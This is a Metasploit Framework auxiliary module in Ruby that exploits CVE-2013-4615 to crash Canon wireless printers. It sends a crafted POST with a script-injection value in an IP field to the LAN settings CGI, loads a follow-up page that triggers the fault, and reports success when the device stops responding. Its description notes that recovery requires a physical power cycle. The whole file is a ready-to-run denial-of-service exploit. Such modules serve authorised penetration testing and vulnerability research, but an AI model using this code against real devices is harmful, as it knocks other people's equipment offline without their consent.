##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Dos

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Canon Wireless Printer Denial Of Service',
			'Description'    => %q{
				The HTTP management interface on several models of Canon Wireless printers
				allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
				if this module is successful, the device can only be recovered with a physical
				power cycle.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
			[
				'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
			],
			'References'     => [
				[ 'CVE', '2013-4615' ],
				[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
			],
			'DisclosureDate' => 'Jun 18 2013'))
	end

	def is_alive?
		res = send_request_raw({
			'method'	=>	'GET',
			'uri'		=>	'/',
		},10)

		return !res.nil?
	end

	def run

		begin

			# The first request will set the new IP
			res = send_request_cgi({
				'method'	=>	'POST',
				'uri'		=>	'/English/pages_MacUS/cgi_lan.cgi',
				'data'		=>	'OK.x=61' +
					'&OK.y=12' +
					'&LAN_OPT1=2' +
					'&LAN_TXT1=Wireless' +
					'&LAN_OPT3=1' +
					'&LAN_TXT21=192' +
					'&LAN_TXT22=168' +
					'&LAN_TXT23=1' +
					'&LAN_TXT24=114"><script>alert(\'xss\');</script>' +
					'&LAN_TXT31=255' +
					'&LAN_TXT32=255' +
					'&LAN_TXT33=255' +
					'&LAN_TXT34=0' +
					'&LAN_TXT41=192' +
					'&LAN_TXT42=168' +
					'&LAN_TXT43=1' +
					'&LAN_TXT44=1' +
					'&LAN_OPT2=4' +
					'&LAN_OPT4=1' +
					'&LAN_HID1=1'
			})

			rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
				print_error("Couldn't connect to #{rhost}:#{rport}")
			return
		end

		# The second request will load the network options page, which seems to trigger the DoS
		send_request_cgi({
			'method'	=>	'GET',
			'uri'		=>	'/English/pages_MacUS/lan_set_content.html'
		},5) #default timeout, we don't care about the response

		# Check to see if it worked or not
		if is_alive?
			print_error("#{rhost}:#{rport} - Server is still alive")
		else
			print_good("#{rhost}:#{rport} - Connection Refused: Success!")
		end

	end
end